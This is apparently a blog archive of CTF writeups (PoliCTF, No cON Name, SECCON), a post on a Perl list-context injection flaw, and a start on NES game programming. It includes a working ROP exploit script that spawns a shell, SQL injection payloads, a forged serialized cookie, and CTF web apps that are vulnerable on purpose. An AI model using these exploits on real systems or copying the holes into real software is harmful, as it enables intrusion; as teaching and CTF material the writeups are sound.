PoliCTF John's shuffle: system("sh") technique
This is my short writeup for John's shuffle.
John is completely drunk and unable to protect his poor stack.. Fortunately he can still count on his terrific shuffling skills. Connect to shuffle.polictf.it:80
This is pwnable challenge worth 350 points. The binary is NX enabled, no stack protector yey.
I solved really fast and I thought this challenge is not worth 350 points ;)
How to PWN the server
First of all, You must use ROP payload instead of shellcode because the binary is NX enabled and there's no executable buffer...
The goal is to read the flag simplicity. But sometimes either guessing filename of the flag or executing SUID binary is required. So, the best way is to execute system("/bin/sh")
.
- Leak libc base address
- Guess libc version (e.g. leak copyright, find from libcdb.com)
- Calculate addresses
That's easy? I think it looks like complicated, right?
Exploit it, more easy way...?
This binary has a buffer overflow vulnerability to find easily.
By the way, johns-shuffle provides system@plt and you don't have to leak anymore!
Where is "/bin/sh"? I don't have any buffers, there's no useful string in .data section?
Anyway, use gdb-peda's find command like this: (Here is customized gdb-peda: GitHub - akiym/pedal: PEDAL - Python Exploit Development Assistance for GDB Lite)
gdb-peda$ find '/bin/sh\0' Searching for '/bin/sh\\0' in: None ranges Found 1 results, display max 1 items: libc : 0xf7f6e344 ("/bin/sh") gdb-peda$ find 'sh\0' Searching for 'sh\\0' in: None ranges Found 17 results, display max 17 items: johns-shuffle : 0x8048458 --> 0x65006873 ("sh") libc : 0xf7e1b420 --> 0x5f006873 ("sh") ...
Oh, "/bin/sh\0" is in libc... Do I have to leak libc base address? Wait, "flush\0" is in .dynstr section! Don't need to leak, I got it!
In most cases, $PATH environment variable is set. So, system("sh")
now works. Let's write an exploit code.
# -*- coding: utf-8 -*- import os import sys import struct import socket p = lambda x: struct.pack("<I", x) u = lambda x: struct.unpack("<I", x)[0] def connect(host, port): return socket.create_connection((host, port)) def interact(): import telnetlib t = telnetlib.Telnet() t.sock = s t.interact() REMOTE = len(sys.argv) >= 2 and sys.argv[1] == 'r' if REMOTE: host = 'shuffle.polictf.it' port = 80 else: host = '127.0.0.1' port = 4000 s = connect(host, port) payload = ( 'A' * 32 + p(0x8048720) + # system@plt p(0xdeadbeef) + p(0x8048458) + # "sh\0" '' ) s.send(payload + '\n') s.send('exit\n') interact()
Note: This exploit is unstable, try several times.
% python exploit.py r It all began as a mistake.. It all began as a mistake.. *** Connection closed by remote host *** % python exploit.py r It all began as a mistake.. It all began as a mistake.. cat /home/*/flag flag{rand0mizing_things_with_l0ve}
Perl5におけるコンテキストの扱いによる脆弱性について
The Perl Jam - Exploiting a 20 Year-old Vulnerability より
Perlを普段から書いている人にとっては常識ではあるが、そうではない人のために書いておく。
リストと配列
Perlにおける「リスト」とは何かというのを確認しておく。まず、Perlにはコンテキストという他のプログラミング言語にはない概念があり、単数(スカラー)と複数(リスト)を区別する。
# 配列 my @a = ('a', 'b', 'c'); # リストコンテキスト # 配列をリストコンテキストで評価 print @a; #=> abc # リストをリストコンテキストで評価 print ('a', 'b', 'c'); #=> abc # スカラーコンテキスト # 配列の要素はスカラー print $a[0]; #=> a # 配列をスカラーコンテキストで評価 print scalar @a; #=> 3 # リストをスカラーコンテキストで評価 print scalar ('a', 'b', 'c'); #=> c # Useless use of a constant ("a") in void context # Useless use of a constant ("b") in void context
コンテキストによって返される値が違うことが分かる。
リストと配列は別物。リストを@aという変数に入れることで配列になる。*1
ただし、配列はリストコンテキストで評価される。
sub foo { my ($arg1, $arg2, $arg3) = @_; # $arg1, $arg2, $arg3 にはどのような値が代入されるか } foo(1, 2, 3); #=> (1, 2, 3) my @a = (1, 2); foo(@a, 3); #=> (1, 2, 3) my @b = (2, 3); foo(1, $b[0], 3); #=> (1, 2, 3) foo(1, @b[0, 1]); #=> (1, 2, 3) foo(1, @b); #=> (1, 2, 3) # array reference foo(1, \@b); #=> (1, [2, 3])
wantarray
wantarray
を使うと、コンテキスト(単数を受け取る場面、複数を受け取る場面)によって関数の振る舞いを変えることができる。しかし、これを使うとコードを見ただけでは動作が分からなくなってしまうこともあるため、頻繁には使われていない。使われる例を示すとすれば、CGI.pmのparam
関数がある。
use CGI; my $cgi = CGI->new; # a=1&a=2&a=3 my @values = $cgi->param('a'); # (1, 2, 3) my $value = $cgi->param('a'); # 1
ただし、CGI.pm 4.08からはmulti_param
を使うことがが推奨されており、リストコンテキストでparam
を使おうとすると警告が出る。
my @values = $cgi->multi_param('a'); # (1, 2, 3)
外部からのパラメータを引数として渡すとき、この仕様が大きく問題となる。明示的にscalar
によってスカラーコンテキストで評価しない限り、リストコンテキストで評価される。
New Class of Vulnerability in Perl Web Applications | Hacking for Christ では以下のようなコードに脆弱性があると言及されている。
my $otheruser = Bugzilla::User->create({ login_name => $login_name, realname => $cgi->param('realname'), cryptpassword => $password});
$cgi->param('realname')
はリストコンテキストで評価されるため、realnameパラメータが複数指定されていた場合に、引数の改竄ができる。
realname=aaa&realname=login_name&realname=admin
とrealnameに対して複数のパラメータを指定することで以下のようにlogin_nameの改竄ができる。
{ login_name => $login_name, realname => 'aaa', login_name => 'admin', cryptpassword => $password, }
このように書くのが正しい。
my $otheruser = Bugzilla::User->create({ login_name => $login_name, realname => scalar $cgi->param('realname'), cryptpassword => $password});
もしくは
my $realname = $cgi->param('realname'); my $otheruser = Bugzilla::User->create({ login_name => $login_name, realname => $realname, cryptpassword => $password});
この問題は脆弱なアプリを書く技術 // Speaker Deckでも言及しており、Advent Calendar CTF 2014の13日目の問題として出題した。Perlのハッシュはkey/valueが対になっていなくても(要素数が奇数)、警告は出るが動くため上記の例であればcryptpasswordも書き換えることができる。詳しくはスライド参照。
余談ではあるが、Mojolicious 5.48からはMojo::Parametersのparamの振る舞いが変更され、以前はCGI.pmと同じ挙動をしていたが、wantarray
によるコンテキスト別の挙動は完全に廃止され、複数のパラメータを受け取るにはevery_paramを使うようになった。
蛇足
できるだけ安全にコンテキストを扱うにはscalar
でスカラーコンテキストで評価するのを明示的に書く必要がある。しかし、scalar
と毎回タイプするには人生は短すぎる。
Perl5では単項演算子としての+
は意味のないものとして扱う。code blockとhash referenceを区別するものとして使われることもある。Perl6では+
単項演算がscalarとして扱われるようになった。
ここではPerl5の+
がscalarの代わりになるように言語ハックをしてみる。blead-perlに以下のパッチを当てる。
diff --git a/perly.y b/perly.y index 4b73977..ec0cdf6 100644 --- a/perly.y +++ b/perly.y @@ -824,7 +824,13 @@ termbinop: term ASSIGNOP term /* $x = $y */ termunop : '-' term %prec UMINUS /* -$x */ { $$ = newUNOP(OP_NEGATE, 0, scalar($2)); } | '+' term %prec UMINUS /* +$x */ - { $$ = $2; } + { + if (FEATURE_UNARYSCALAR_IS_ENABLED) { + $$ = scalar($2); + } else { + $$ = $2; + } + } | '!' term /* !$x */ { $$ = newUNOP(OP_NOT, 0, scalar($2)); } diff --git a/regen/feature.pl b/regen/feature.pl index 6733e3c..c784691 100755 --- a/regen/feature.pl +++ b/regen/feature.pl @@ -37,6 +37,7 @@ my %feature = ( unicode_strings => 'unicode', fc => 'fc', signatures => 'signatures', + unaryscalar => 'unaryscalar', ); # NOTE: If a feature is ever enabled in a non-contiguous range of Perl
% perl regen/feature.pl % perl regen_perly.pl % perl -MPerl::Build -e'Perl::Build->install(src_path => ".", dst_path => "/opt/blead-perl", configure_options => ["-Dusedevel", "-de"])'
% bin/perl5.21.10 -e'print localtime()' 657152711155570 % bin/perl5.21.10 -e'print scalar localtime()' Fri Feb 27 15:57:09 2015 % bin/perl5.21.10 -Mfeature=unaryscalar -e'print +localtime()' Fri Feb 27 15:57:11 2015
こうして世界がまたひとつ平和に近づいたとさ ;)
No cON Name CTF Quals 2014 writeup
チームdodododoで参加。最近はよく自分(@akiym)とれっくす(@xrekkusu)の2人で参加している。
結果は7位。finalsの参加権が貰えるらしいが、会場はスペインでおそらく交通費はでないので破棄ということに。問題は開始時にすべてオープンされる形になっており、全部で10問。朝7:00から始め、途中で寝て、3:40に全完。miscとwebに足を引っぱられた。
以下は問題の解説。
inBINcible
golangが吐くバイナリ。strippedされていないため、読むのはそこまで苦ではない。
まず、argv[1]が16文字であるか調べる。次に16個のgoroutine(main.func.001を参照)を生成してそれぞれ1文字ずつ比較して、その結果channelに出力している。すべての結果が正しければ正解になり"Yeah!"、間違っていれば"Nope!"。
0x08049456 xor ecx, eb 0x08049466 movzx ebp, byte [ds:esi]
実は文字列の比較ルーチンはxorしているだけ。gdbで0x08049456と0x8049469にブレークポイントを仕掛け、ecxとebpの値を取ってくる。
my @a = (0x12,0x45,0x33,0x87,0x65,0x12,0x45,0x33,0x87,0x65,0x12,0x45,0x33,0x87,0x65,0x12); my @b = (0x55,0x75,0x44,0xb6,0xb,0x33,0x6,0x3,0xe9,0x2,0x60,0x71,0x47,0xb2,0x44,0x33); for my $i (0..15) { print chr($a[$i] ^ $b[$i]); }
G0w1n!C0ngr4t5!! NcN_ce71ba32ccf191cc3b62ae73c7ffd1acf5e2f296
cannaBINoid
実行ファイルの先頭128バイトと入力した文字列128バイトが一致していればいい。それだけ。
NcN_effaf80a641b28a8d8a750b99ef740593bb3dcbd
STEGOsaurus
オーディオファイルといえば、まずやるのはスペクトログラム表示。
これはモールス信号。
-. -.-. -. ...-- -.-. -... ..-. -.. -.-. -.-. ---.. -.. --... .- ..--- ..... --... -.. ---.. ----- -.... ..--- ..... -.... ----- . ---.. ---.. -.. -.. --... -.. --... ..-. -.. -.... ..... -.. -.-. -.... ....- --... .-
ncn3cbfdcc8d7a257d8062560e88dd7d7fd65dc647a
最初に解いたのでfirst blood獲得。
CRYPTonite
spanish-book.enc。スペイン語の換字暗号らしい。記号も含まれているので既存のソルバーが使えない。とりあえず記号部分をアルファベットに置き換えて Cryptogram Solver (http://rumkin.com/tools/cipher/cryptogram-solver.php) のSpanish辞書を使ってみる。先頭の1行は以下のように変換された。
XL UIZXIUGBG FURCLZG RGI YPUVGMX RX LC NCIQFC ↓ EL INGENIOSO HIDALGO DON QUIJOTE DE LA MANCHA
ドン・キホーテ。スペイン語の原文があるのでそれと比較して文字を置換していく。
https://gist.github.com/rekkusu/47e369c3f74342970c31
テキスト内をNCNで検索するとflagがある。置換できなかった文字があるが、これは_に該当する文字はないため。
NCN_DEADBEAFCAFEBADBABEFEEDDEFACEDBEDFADEDEC
MISCall
git stash pop
NCN4dd992213ae6b76f27d7340f0dde1222888df4d3
imMISCible
disを使うことで読みやすい形に直してくれる。
import dis dis.dis(marshal.loads(bytecode.decode('base64')))
おおざっぱに見ると文字列のhashlibのsha1を計算している。そして最後にNCNをくっつけるような処理がある。hexがたくさんあるのでこれのsha1を計算してるのだろうと推測。
57 68 61 74 20 69 73 20 74 68 65 20 61 69 72 2d 73 70 65 65 64 20 76 65 6c 6f 63 69 74 79 20 6f 66 20 61 6e 20 75 6e 6c 61 64 65 6e 20 73 77 61 6c 6c 6f 77 3f
echo -n 'What is the air-speed velocity of an unladen swallow?' | shasum
NCN6ceeeff26e72a40b71e6029a7149ad0626fcf310
proMISCuous
ずっと悩んでいたが、れっくすが"t"を入力したときに若干遅くなることを発見。サイドチャネル攻撃のようだ。スクリプトを書こうと思ったが遅延が小さいのか、なぜかうまくいかず悩んでいたところれっくすが人力で求めた。1文字ずつリズムを刻みながら試せば遅延がわかるらしい。
tIMeMaTTerS NcN_15d07db12cd83174f0d19ce7e8c65a7c5ffba7df
WEBster
test:testでログインすることができる。ファイル一覧の中にflag.txtがあるが、アクセス拒否される。
cookieに付加されるlocはページ内のLocationより"10.128.29.136"のMD5を計算したものだとわかる。locをf528764d624db129b32c21fbca0cb8d6(127.0.0.1)に変更することでflag.txtを見ることができる。
NCN_f528764d624db129b32c21fbca0cb8d6
MakeMeFeeWet^Hb
index.phpにアクセスしてhtmlのソースを見ると、<!-- vim: set ts=2 sw=2: -->と書かれている。わざわざphpのコメントとしてではなくhtmlに書いたのだから何か意味があるのだろう。index.php~, login.php~はないし、index.php.swp, login.php.swpもないので数時間悩んだが、生成されるswpファイルは先頭に.がつくことを忘れていた。カレントディレクトリにswpファイルを生成する設定にしてないので馴染みがなかった。
したがって、.login.php.swpにアクセスするとソースコードの一部が得られる。
b0VIM 7.4 /ncn/web1/login.php 3210#"! @$data = unserialize(hex2bin(implode(explode("\\x", base64_decode($cookie))))); if (isset($_COOKIE['JSESSIONID'])) { if ($username == "p00p" && $password == "l!k34b4u5") { $this->p = $_passwd; $this->u = $_uname; public function __construct($_uname, $_passwd) { public $p; public $u; class Creds {
p00p:l!k34b4u5でログインしてみるが、NOPE. But good try :)と言われる。おそらくJSESSINIDに対して何かしらのデータを投げるのだろう。ここで何をすればいいか困っていたところ、れっくすが適当に試していたらflagが出てきたとのこと。問題の意図が分からない。
O:5:"Creds":2:{s:1:"p";s:9:"l!k34b4u5";s:1:"u";s:4:"p00p";}
POST /makemefeelweb/login.php HTTP/1.1 Host: ctf.noconname.org Connection: keep-alive Content-Length: 0 Content-Type: application/x-www-form-urlencoded Cookie: JSESSIONID=XHg0Zlx4M2FceDM1XHgzYVx4MjJceDQzXHg3Mlx4NjVceDY0XHg3M1x4MjJceDNhXHgzMlx4M2FceDdiXHg3M1x4M2FceDMxXHgzYVx4MjJceDcwXHgyMlx4M2JceDczXHgzYVx4MzlceDNhXHgyMlx4NmNceDIxXHg2Ylx4MzNceDM0XHg2Mlx4MzRceDc1XHgzNVx4MjJceDNiXHg3M1x4M2FceDMxXHgzYVx4MjJceDc1XHgyMlx4M2JceDczXHgzYVx4MzRceDNhXHgyMlx4NzBceDMwXHgzMFx4NzBceDIyXHgzYlx4N2Q=
NcN_778064be6556e64577517875a8710b0abeba1578
eXPLicit
fork型のサーバでポート7070で起動する。static linkされている。0-20の数字を入力せよと言われ、決められた数字に対して高いか低いかを教えてくれる。合っていれば終了する。
my_printf(sockfd, your_number);としているために入力した文字列に対してformat string bugの脆弱性が存在する。
NXが有効。static linkされているのでreturn2libcには持っていくことができないが、gadgetが豊富なので困ることはない。ゲーム回数の制限はないため、何度もfsbすることができるのでreturn addressの推測、書き換えができる。やるだけ。
注意したいのはfork型のサーバなので標準入出力をdup2する必要があること。
https://gist.github.com/akiym/c00a0a277c04e6432d85
$ cat /home/ch5/flag.txt NcN_97740ead1060892a253be8ca33c6364a712b21d
CTF各位3
loginpage1 (web 10)
running at ctf.katsudon.org:5002
#!/usr/bin/env perl use Mojolicious::Lite; app->secrets([$ENV{FLAG}]); get '/' => sub { my $self = shift; return $self->render('index', user => $self->session->{user}, flag => $ENV{FLAG}, ); }; get '/user' => sub { my $self = shift; my @users; if (open my $fh, '<', "user.txt") { while (defined(my $user = <$fh>)) { my ($name, $password, $is_admin) = split /:/, $user; unshift @users, ($is_admin == 1 ? "$name (admin)" : $name); } } return $self->render('user', users => \@users, ); }; get '/register' => 'register'; post '/register' => sub { my $self = shift; my $name = $self->param('name') // die; my $pass = $self->param('pass') // die; $name =~ s/[^\x21-\x7e]//g; # ascii only! $pass =~ s/[^\x21-\x7e]//g; open my $fh, '>>', 'user.txt' or die $!; print {$fh} "$name:$pass:0\n"; # you are not admin close $fh; $self->session->{user} = { admin => 0, name => $name, pass => $pass, give_me_flag => 0, }; return $self->redirect_to('/'); }; get '/login' => 'login'; post '/login' => sub { my $self = shift; my $name = $self->param('name'); my $pass = $self->param('pass'); my $ok = 0; my $is_admin; open my $fh, '<', "user.txt" or die $!; while (defined(my $user = <$fh>)) { chomp $user; my ($n, $p, $a) = split /:/, $user; if ($n eq $name && $p eq $pass) { $is_admin = $a; $ok = 1; last; } } if ($ok) { $self->session->{user} = { admin => $is_admin, name => $self->param('name'), pass => $self->param('pass'), give_me_flag => 0, }; return $self->redirect_to('/'); } else { return $self->render(text => 'login failed...'); } }; get '/source' => sub { my $self = shift; my $src = do { open my $fh, '<', __FILE__ or die $!; local $/; <$fh>; }; return $self->render(text => $src, format => 'txt'); }; app->start; __DATA__ @@ index.html.ep % layout 'default'; % title 'hello'; <p>loginpage1 (web 10)<br />do not bruteforce, see <a href="/source">source</a></p> % if ($user) { <p>hello, <b><%= $user->{name} %></b> (password is: <%= $user->{pass} %>)</p> % if ($user->{admin}) { <p>you are admin!</p> % if ($user->{give_me_flag}) { <p>here is your flag: <%= $flag %></p> % } else { <p>cheer up :)</p> % } % } % } @@ user.html.ep % layout 'default'; % title 'user list'; <ul> % for my $user (@$users) { <li><%= $user %></li> % } </ul> @@ register.html.ep % layout 'default'; % title 'register'; <h2>register</h2> <form method="post" action="/register"> name: <input type="text" name="name" /><br /> pass: <input type="text" name="pass" /><br /> <input type="submit" value="register" /> </form> @@ login.html.ep % layout 'default'; % title 'login'; <h2>login</h2> <form method="post" action="/login"> name: <input type="text" name="name" /><br /> pass: <input type="text" name="pass" /><br /> <input type="submit" value="login" /> </form> @@ layouts/default.html.ep <!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title><%= title %> - cheap login</title> </head> <body> <p><a href="/">index</a> | <a href="/register">register</a> | <a href="/login">login</a> | <a href="/user">user list</a></p> <%= content %> </body> </html>
SECCON 2014 オンライン予選(日本語) writeup
SECCON 2014 オンライン予選(日本語)にdodododoとして参加した。2302点で5位。とりあえず全国大会の出場権は獲得できた(上位8位まで)。
チームメンバーによるwriteup:
以下、自分が解いた問題のwriteup:
ネットワーク
ソーシャルハック?
画像と思われるURL(http://example.com/foo.png)を投げるとアクセスしてくれる。
153.120.82.112 - - [19/Jul/2014:12:07:30 +0900] "HEAD /foo.png HTTP/1.1" 404 0 "-" "MyVNCpasswordIsVNCpass123" "153.120.82.124"
VNCで接続する。
FLAG{giveMeYourWebM0n3y}
フォレンジック
捏造された契約書を暴け
% binwalk Timestamp.dd DECIMAL HEX DESCRIPTION ------------------------------------------------------------------------------------------------------------------- 236257 0x39AE1 GIF image data, version "89a", 40 x 40 238130 0x3A232 JPEG image data, EXIF standard 238142 0x3A23E TIFF image data, little-endian 33258102 0x1FB7A76 End of Zip archive 33286656 0x1FBEA00 End of Zip archive 33288192 0x1FBF000 TIFF image data, little-endian 33362132 0x1FD10D4 Copyright string: " (c) 1998 Hewlett-Packard Companyny" 33366016 0x1FD2000 TIFF image data, little-endian 33411072 0x1FDD000 TIFF image data, little-endian 81637443 0x4DDB043 ELF
いくつかTIFF画像あるので、切り取ってみていく。
33366016 0x1FD2000 TIFF image data, little-endian
このTIFF画像が機密保持契約書だが、日付に関する情報はない。ほかのTIFF画像を見てみる。
238142 0x3A23E TIFF image data, little-endian
binwalkの情報が間違っていて(?)、0x3A232から切り取ると伊原秀明氏(http://port139.hatenablog.com/)の判子の画像がある。EXIF情報に書かれている日付がflag。
% exiftool a.tiff ExifTool Version Number : 9.60 File Name : a.tiff Directory : . File Size : 4.0 kB File Modification Date/Time : 2014:07:20 15:13:04+09:00 File Access Date/Time : 2014:07:20 15:13:56+09:00 File Inode Change Date/Time : 2014:07:20 15:13:04+09:00 File Permissions : rw-r--r-- File Type : JPEG MIME Type : image/jpeg Exif Byte Order : Little-endian (Intel, II) X Resolution : 72 Y Resolution : 72 Resolution Unit : inches Software : F6 Exif Version 0.9.0b Artist : hihara Exif Version : 0210 Date/Time Original : 2012:05:23 13:29:00 Components Configuration : Y, Cb, Cr, - Exif Image Width : 40 Exif Image Height : 40 Compression : JPEG (old-style) Thumbnail Offset : 326 Thumbnail Length : 986 JFIF Version : 1.01 Image Width : 40 Image Height : 40 Encoding Process : Baseline DCT, Huffman coding Bits Per Sample : 8 Color Components : 3 Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2) Image Size : 40x40 Thumbnail Image : (Binary data 986 bytes, use -b option to extract)
2012:05:23 13:29:00
バイナリ
ダンプを追え!
dump.binの中身を見るとV850という文字列が紛れ込んでいる。V850はマイコンの一種。
V850用のbinutilsをビルドしておく。
% wget https://ftp.gnu.org/gnu/binutils/binutils-2.24.tar.gz % ./configure --target=v850-nec-elf % make
objdumpした結果とencrypt.nmを照らし合せた: https://gist.github.com/akiym/e0703949aa0615cbc1e6
_proc: 146: 03 1e e8 ff addi -24, sp, sp 14a: 20 56 40 00 movea 64, r0, r10 14e: 40 3e 00 00 movhi 0, r0, r7 152: 63 ff 15 00 st.w lp, 20[sp] 156: 63 57 11 00 st.w r10, 16[sp] 15a: 27 3e 3c 16 movea 5692, r7, r7 ; _etext section 15e: 03 46 10 00 addi 16, sp, r8 162: bf ff 88 ff jarl 0xea, lp ; _read_data 166: 23 77 11 00 ld.w 16[sp], r14 16a: ca 66 ff 00 andi 255, r10, r12 16e: 00 6a mov 0, r13 170: 95 15 br 0x192 172: 40 56 00 00 movhi 0, r0, r10 176: 2a 56 3c 16 movea 5692, r10, r10 ; _etext section 17a: cd 51 add r13, r10 17c: 0a 5f 00 00 ld.b 0[r10], r11 180: 41 6a add 1, r13 182: 2c 59 xor r12, r11 184: cc 61 add r12, r12 186: 0c 66 11 00 addi 17, r12, r12 18a: 4a 5f 00 00 st.b r11, 0[r10] 18e: cc 66 ff 00 andi 255, r12, r12 192: ee 69 cmp r14, r13 194: f6 ed blt 0x172 196: 23 ff 15 00 ld.w 20[sp], lp 19a: 03 1e 18 00 addi 24, sp, sp 19e: 7f 00 jmp [lp]
my @etext = (0x63, 0x17, 0x86, 0xD8, 0x34, 0xF9, 0x06, 0x8C, 0x9B, 0x80, 0x9D, 0x96, 0xD7, 0xDA, 0xDF, 0x92); my $r12 = 37; for my $c (@etext) { print chr($c ^ $r12); $r12 += $r12; $r12 += 17; $r12 &= 0xff; }
r12の初期値は_procを見るだけではわからない。面倒だったのでflagのフォーマットがFLAG{...}
であるため、0x63 ^ ord('F')
がr12の初期値だと推測した。
FLAG{Victory850}
プログラミング
重ねてみよう
GIFアニメ画像を分解
% convert +adjoin in.gif out.gif
白黒反転させて、白を透過色にする。
% convert -negate in.gif out.gif % convert -transparent white in.gif out.gif
画像を重ねる。
% convert in1.gif in2.gif -composite out.gif
あとはスクリプトに落として、49枚の画像に対して処理をする。生成された画像はQRCodeになっているので、読み取る。
FLAG{Many dot makes a QR code}
あみだくじ
https://gist.github.com/akiym/335ae9083687d2169caf
pwntoolsというライブラリを使っているので、実際に動作させるときには注意。
あみだくじを解くと毎回sleepするので、1000回解くには自動で解いても少し時間がかかる。この問題はx64バイナリでstatic linkされているのでsleepを潰すにはバイナリの中のnanosleepのsyscallを潰せば良い。
47ff39: b8 23 00 00 00 mov eax,0x23 47ff3e: 0f 05 syscall 47ff40: 48 3d 01 f0 ff ff cmp rax,0xfffffffffffff001 47ff46: 0f 83 e4 41 fd ff jae 0x454130 47ff4c: c3 ret 47ff4d: 48 83 ec 08 sub rsp,0x8 47ff51: e8 4a 27 fd ff call 0x4526a0 47ff56: 48 89 04 24 mov QWORD PTR [rsp],rax 47ff5a: b8 23 00 00 00 mov eax,0x23 47ff5f: 0f 05 syscall
これで5秒くらいで解けるようになる。
FLAG{c4693af1761200417d5645bd084e28f0f2b426bf}
Web
箱庭SQLiチャレンジ
スタンダードなSQLi問題。考える必要がない。
'or'1 'union select group_concat(sql),1,1,1,1 from sqlite_master-- 'union select flag,1,1,1,1 from seccon--
FLAG{EnjoySQLi}
箱庭XSSリターンズ
メンバーのlmt_swallowによるSECCON 2013 オンライン予選の箱庭XSS Finalのwriteupを参考にした: https://gist.github.com/lmt-swallow/03170ca9c079e2ea555a
ほとんど前回と同じように解けるが、今回は20回XSSさせないといけないので、少し工夫して解く必要があった。
https://gist.github.com/akiym/9c9f903d824fddcaf2c8
FLAG{dbe6Z7bdbpa3e7cdcccc5c0}
(途中点)
FLAG{OO3auUR7e8712af065dBa6F}
CTF各位2
blacklist (web 10)
running at ctf.katsudon.org:5001
use Mojolicious::Lite; use DBI; # enjoy~ my $BLACKLIST_CHAR = qr/['"`=]/; my $BLACKLIST_WORD = qr/select|insert|update|from|where|order|union|information_schema/; my $dbh = DBI->connect('dbi:mysql:blacklist', 'blacklist', $ENV{BLACKLIST_PASSWORD}); helper dbh => sub { $dbh }; get '/' => sub { my $self = shift; my $ip = $self->tx->remote_address; my $agent = $self->req->headers->user_agent; $self->dbh->do( "INSERT INTO access_log (accessed_at, agent, ip) VALUES (NOW(), '$agent', '$ip')" ); my $access = $self->dbh->selectall_arrayref( "SELECT * FROM access_log WHERE ip = '$ip' ORDER BY accessed_at DESC LIMIT 10", {Slice => {}} ); return $self->render('index', ip => $ip, access => $access); }; get '/search' => sub { my $self = shift; my $ip = $self->param('ip'); $ip =~ s/$BLACKLIST_CHAR//g; $ip =~ s/$BLACKLIST_WORD//g; my $id = $self->param('id'); $id =~ s/$BLACKLIST_CHAR//g; $id =~ s/$BLACKLIST_WORD//g; my ($agent) = $self->dbh->selectrow_array( "SELECT agent FROM access_log WHERE ip = '$ip' AND id = '$id'", {Slice => {}} ); if ($agent) { $agent =~ s/$BLACKLIST_CHAR//g; $agent =~ s/$BLACKLIST_WORD//g; my $access = $self->dbh->selectall_arrayref( "SELECT * FROM access_log WHERE ip = '$ip' AND agent LIKE '$agent' ORDER BY accessed_at DESC LIMIT 10", {Slice => {}} ); return $self->render('search', agent => $agent, access => $access); } else { return $self->render_not_found; } }; get '/source' => sub { my $self = shift; my $src = do { open my $fh, '<', __FILE__ or die $!; local $/; <$fh>; }; return $self->render(text => $src, format => 'txt'); }; app->start; __DATA__ @@ index.html.ep <!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>blacklist</title> </head> <body> <p>sqli, sqli, sqli~~~ we have blacklist. see <a href="/source">source</a>.</p> <h2><%= stash 'ip' %>:</h3> <ul> % my $access = stash 'access'; % for (@$access) { <li>[<%= $_->{accessed_at} %>] "<%= $_->{agent} %>" <a href="<%== url_for('/search')->query(ip => $_->{ip}, id => $_->{id}) %>">search</a></li> % } </ul> </body> </html> @@ search.html.ep <!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>blacklist</title> </head> <body> <h2>search with "<%= stash 'agent' %>"</h3> <ul> % for (@$access) { <li>[<%= $_->{accessed_at} %>] "<%= $_->{agent} %>"</li> % } </ul> </body> </html> @@ not_found.html.ep <!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>not found</title> <style>body{font-size:64px;}</style> </head> <body> <pre> _ __ _ _ __ ___ | |_ / _| ___ _ _ _ __ __| | | '_ \ / _ \| __| | |_ / _ \| | | | '_ \ / _` | | | | | (_) | |_ | _| (_) | |_| | | | | (_| |_ _ _ |_| |_|\___/ \__| |_| \___/ \__,_|_| |_|\__,_(_|_|_)</pre> </body> </html>
2014年だけどファミコンのゲームを作りませんか? #1
ゲームを作ろうと思い立ったはいいものの、何から始めればいいんだろう…。cocos2d-xでスマホゲームを作る?Unityで3Dバリバリのゲームを作る?いまいちパッとしませんね。そうです、なんだか複雑すぎるのです。
そんなあなたにピッタリなのがファミコンのゲームです。もう30年前のハードですから、きっと単純ですって。たぶん。だって8ビットですよ。
環境構築
今回はOS Xで開発をすることにします。まずはアセンブラ、コンパイラを準備します。
アセンブラはnesasmを使います。オブログ — なあ藤村くんファミコンプログラミングをやろうじゃないか[1]を参考にmakeしてください。
コンパイラはcc65を使います。なぜコンパイラも準備するかというと、まだできる限りアセンブラを書きたくないからです。簡単なほうがいいですよね :)
% brew install cc65
とりあえず動くものを書いてみる
ビルド手順はライブラリ使用例 - cc65 @ wiki - アットウィキを参考にしてください。
まずはBGにチェック模様を描いてみます。
#define REGIST_PPU_CTRL1 (char *)0x2000 #define REGIST_PPU_CTRL2 (char *)0x2001 #define REGIST_PPU_STS (char *)0x2002 #define REGIST_SPR_ADR (char *)0x2003 #define REGIST_SPR_GRA (char *)0x2004 #define REGIST_SCROLL (char *)0x2005 #define REGIST_ADR (char *)0x2006 #define REGIST_GRA (char *)0x2007 #define REGIST_DMA (char *)0x4014 void NesMain(void) { int i, j; byte v_stat, h_stat; const char palettebg[] = { 0x0f, 0x11, 0x21, 0x30, 0x0f, 0x11, 0x21, 0x30, 0x0f, 0x11, 0x21, 0x30, 0x0f, 0x11, 0x21, 0x30 }; while (!(*REGIST_PPU_STS & 0x80)); *REGIST_PPU_CTRL1 = 0x00; *REGIST_PPU_CTRL2 = 0x00; *REGIST_ADR = 0x3f; *REGIST_ADR = 0x00; for (i = 0; i < 16; i++) { *REGIST_GRA = *(palettebg + i); } *REGIST_ADR = 0x20; *REGIST_ADR = 0x0; v_stat = h_stat = 1; for (i = 0; i < 30; i++) { for (j = 0; j < 32; j += 4) { *REGIST_GRA = h_stat ? 0x01 : 0x03; *REGIST_GRA = h_stat ? 0x01 : 0x03; *REGIST_GRA = h_stat ? 0x01 : 0x03; *REGIST_GRA = h_stat ? 0x01 : 0x03; h_stat = h_stat ? 0 : 1; } if (i % 4 == 0) { h_stat = h_stat ? 0 : 1; } } *REGIST_PPU_CTRL1 = 0x0; *REGIST_PPU_CTRL2 = 0x1e; while (1); } void NMIProc(void) { }
ファミコンでBGを描画するにはまずネームテーブルに書き込む必要があります。0x2000-0x2007がPPUのI/Oレジスタです。PPUメモリデータ(0x2007)にパターンテーブル番号を書き込むことでネームテーブルに書き込むことができます。*1
ファミコンの画面は1枚あたり8x8のタイルパターンが32x30個あります。*2 4x4の四角を配置しましたが、縦横の比率が異なるため、上下に余りがあります。この画面を複製してスクロールさせる場合、4x4の四角ができない部分ができてしまいます。もう少し工夫が必要みたいです。
次は画面をスクロールさせてみます。
